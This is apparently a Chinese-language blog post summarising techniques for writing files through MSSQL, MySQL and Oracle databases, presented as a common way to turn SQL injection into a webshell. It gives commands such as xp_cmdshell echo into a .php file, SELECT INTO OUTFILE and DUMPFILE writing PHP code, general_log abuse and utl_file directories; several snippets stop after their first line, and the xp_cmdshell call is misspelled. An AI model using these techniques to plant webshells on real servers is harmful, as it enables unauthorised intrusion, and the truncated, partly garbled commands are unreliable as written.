前言
通过数据库写入文件是由sql注入获取webshell的常见手段,本文讨论远程连接数据库场景下的文件写入,对常用的mssql、mysql、oracle三种数据库的写入方式做总结。
mssql数据库写入文件
调用xp_cmdshell调用windows命令echo写入文件
1 | exec master.xp..cmdshell 'echo "cmdshell" > xxx.php' |
使用backup方法写入文件
1 | use model; |
mysql数据库写入文件
使用select into outfile写入文件
1 | select '<?php phpinfo(); ?>' into outfile 'c:/TEMP/outfile.php' |
使用select into dumpfile写入文件
1 | SELECT '<?php phpinfo(); ?>' into dumpfile 'c:/TEMP/dumpfile.php' |
使用mysql日志功能写入文件
1 | show variables like '%general_log%'; |
oracle数据库写入文件
使用utl_file()方式写入文件
1 | create or replace directory user_dir as 'C:\TEMP\oracle_dir'; |